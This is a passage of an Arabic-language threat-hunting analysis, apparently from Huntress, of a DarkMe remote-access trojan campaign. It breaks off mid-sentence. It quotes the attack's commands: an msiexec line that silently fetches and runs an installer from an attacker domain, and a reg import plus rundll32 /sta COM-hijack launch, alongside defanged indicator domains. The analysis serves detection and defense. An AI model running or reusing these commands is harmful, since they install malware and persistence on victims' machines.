DarkMe، وهو حصان طروادة للتجسس وأداة وصول عن بُعد مكتوب بلغة Visual Basic 6 (VB6)، أصبح معروفًا في فبراير 2024 لاستخدامه ثغرات صفرية لتوزيع البرمجيات الخبيثة. لكن هذه العائلة من البرمجيات الخبيثة تم رصدها لأول مرة في سبتمبر 2021 وتم توثيقها علنًا بعد عام من قبل NSFOCUS تحت "عملية DarkCasino" المنسوبة إلى مجموعة تُدعى EvilNum. وقد ربط الباحثون في Trend Micro وSonicWall هذه البرمجيات الخبيثة، مع التحفظات المعتادة على النسبة، بمجموعة Water Hydra، وهي مجموعة تهديد متقدمة ذات ملف تعريف غير عادي تركز على المال بدلاً من التجسس. حملاتها عادة ما تكون مدفوعة ماليًا، مستهدفة متداولي الفوركس، ومنتديات تداول الأسهم، ومنصات القمار عبر الإنترنت، ومستخدمي العملات المشفرة. ما جعل برمجيات DarkMe الخبيثة ملحوظة هو طريقة التوزيع. في عام 2023، استخدمت Water Hydra ثغرة WinRAR في خداع الامتداد CVE-2023-38831 كثغرة صفرية، حيث قامت بإسقاط أرشيفات خبيثة على منتديات التداول. في أواخر عام 2023 وأوائل عام 2024، انتقلت Water Hydra إلى CVE-2024-21412، وهي ثغرة في Defender SmartScreen مبنية على اختصار يشير إلى اختصار آخر (نعم، كان هذا موجودًا)، تم إعدادها عبر مشاركة WebDAV خلف عرض مستكشف مصمم. لكن قصتنا تبدأ من وجهة نظر فريق Huntress لصيد التهديدات، وهذه الحرفة تكاد تكون غير قابلة للتعرف عليها. لا يوجد هنا أي استغلال على الإطلاق. لقد رصدت قاعدة صيد بعض الأنشطة الغريبة حول ملف معلومات البرنامج (PIF) الذي يشغل مثبت Windows. كل شيء بعد ذلك PIF هو DarkMe نموذجية، لكن كل شيء قبله هو بصراحة، ممل. ومع ذلك، اعتقدنا أن هذه قصة مثيرة للاهتمام لنرويها، لأنها توضح اتجاهًا أكبر لممثلين تهديد متقدمين يختارون طرق وصول أولية أقل تعقيدًا لتوسيع نطاق استهدافهم.
الشكل 1: نظرة عامة على سلسلة الهجوم المستخدمة في هذه الحملة الجديدة من DarkMe
تحليل تقني
الوصول الأولي: صورة لم تكن
جاء التوزيع من خلال رابط في بريد إلكتروني عادي من الهندسة الاجتماعية:
الشكل 2: بريد احتيالي يوزع PIF متخفيًا كصورة
على الرغم من أن الرابط في البريد الإلكتروني كان يشير إلى https://readonline365[.]com/view/image.png، وهو عنوان URL لملف رسومي، إلا أن الخادم الويب قام بتسليم image.pif، وهو ملف تنفيذي لنظام Windows.
الشكل 3: ورقة الخصائص تصف الملف بأنه "اختصار لبرنامج MS-DOS" لكن الملف هو، في حد ذاته، تنفيذي.
امتداد .pif، وهو أثر من عصر DOS، يشير إلى "ملف معلومات البرنامج". تقوم أنظمة Windows الحديثة بتنفيذ ملفات .pif كبرنامج، بغض النظر عن ما يشير إليه الامتداد (أو ما يظهره الرمز).
الشكل 4: عند إعادة تسميته بامتداد .exe، تكشف علامة التفاصيل في ورقة خصائص الملف عن معلومات مزورة مخفية سابقًا تشير إلى أن الملف هو مكون لمنتج أمني يسمى Aegis Sentinel، لكنه غير مرتبط بذلك المنتج.
تم تسليم نفس الملف، وهو ثنائي PE32+ بحجم 1 ميغابايت، إلى بيئتين من عملاء Huntress. قام المستخدمون ببساطة بالنقر المزدوج وتحميل الملف، دون إدراك ما هو.
الشكل 5: تحميل وتنفيذ image.pif
التحضير: msiexec، غلاف exemsi، ونص
الوظيفة الوحيدة لـ PIF هي استدعاء مثبت Microsoft، msiexec، لتنزيل وتنفيذ ملف مثبت .msi مستضاف على عنوان ويب مسجل من قبل المهاجم. نفذ هذا الأمر للقيام بذلك:
msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart
الحصول على MSI عن بُعد عبر HTTPS مع /quiet نادر في معظم البيئات، لأن المثبتات الشرعية نادرًا ما تعيش في جذر نطاق فارغ.
الـ MSI نفسه هو دليل. تحدد بياناته الوصفية أنه تم بناؤه باستخدام "MSI Wrapper" (الإصدار 11.0.53.0)، وتم تعبئته تحت الاسم المستعار "PrinterFind Softwares"، مع تاريخ إنشاء في 11 يناير 2024. الهيكل البنيوي غير الضار للغلاف موجود بالكامل:
MsiCustomActions.dll
newdev.exe stub
BZ.RUN_BEFORE_INSTALL_FILE تم تعيينه إلى wScript.exe
بعبارة أخرى، الغرض من المثبت هو توسيع ملف أرشيف Windows Cabinet وتشغيل نص. EXPAND.EXE -R files.cab يسقط المكونات في %AppData%\ComponentsFolder، وينفذ المثبت prnfig.wsf.
الشكل 6: مكونات DarkMe المثبتة في مجلد يسمى ComponentsFolder
تحميل Gist...
الشكل 7: prnfig.wsf، النص التحضيري، يظهر نسخ الملفات، وإعادة كتابة قالب التسجيل، واستيراد التسجيل بالإضافة إلى rundll32 /sta.
قراءة prnfig.wsf تفتح نافذة واضحة على نية المشغل. يقوم ملف Windows Script Host بأربعة أشياء:
ي copies كل ملف تم إسقاطه إلى %AppData%\ComponentsFolder
ي copies فقط clspack.exe إلى %AppData%\Microsoft، محضرًا الهدف المجوف حيث يبدو أن ثنائي Microsoft الموقع أقل خروجًا عن المألوف
يكتب قالبًا لإجراء تغييرات على سجل Windows
يبدأ المحمل
الملف الذي تم إسقاطه text.txt هو قالب سجل يقوم بتسجيل كائن COM كـ @="Coconout.dll". يقرأ النص، ويستبدل المسار الكامل لـ %AppData%\ComponentsFolder\Coconout.dll (بما في ذلك اسم حساب المستخدم المحلي في المسار)، ويهرب من الشرطات الخلفية لاستيراد .reg، ويكتب النتيجة إلى filetext2.txt. ثم ينام لمدة 1.5 ثانية ويقوم بتشغيل:
cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
تحميل Gist...
الشكل 8: قالب التسجيل filetext.txt للاستيراد
يقوم ذلك الاستيراد بتسجيل خادم COM تحت HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}، مع ProgID Coconout.Primary و InprocServer32 يشير إلى Coconout.dll.
المحمل: Rundll32.exe وثلاثة محملات Visual Basic 6
الأمر الذي يبدأ المرحلة النهائية من الإصابة، rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}، تم رصده في الحملة لعام 2024، وهو توقيع رائع للكشف أو الصيد عليه. يشغل العلم /sta كائن COM المسجل في شقة ذات خيط واحد (STA) عبر IShellRunDll::Run، وهو مسار تنفيذ أقل شهرة يتجنب الاكتشافات المرتبطة بالصيغة المعتادة rundll32 <dll>,<export>.
من الجدير بالذكر أن مسار DLL لا يظهر أبدًا في سطر الأوامر، فقط UUID غير شفاف. من هناك، تسير السلسلة عبر ثلاثة محملات VB6، كل منها هو طبقة تشويش تستدعي تصديرًا مسمى في التالي:
Coconout.dll هو المرحلة-1 COM lo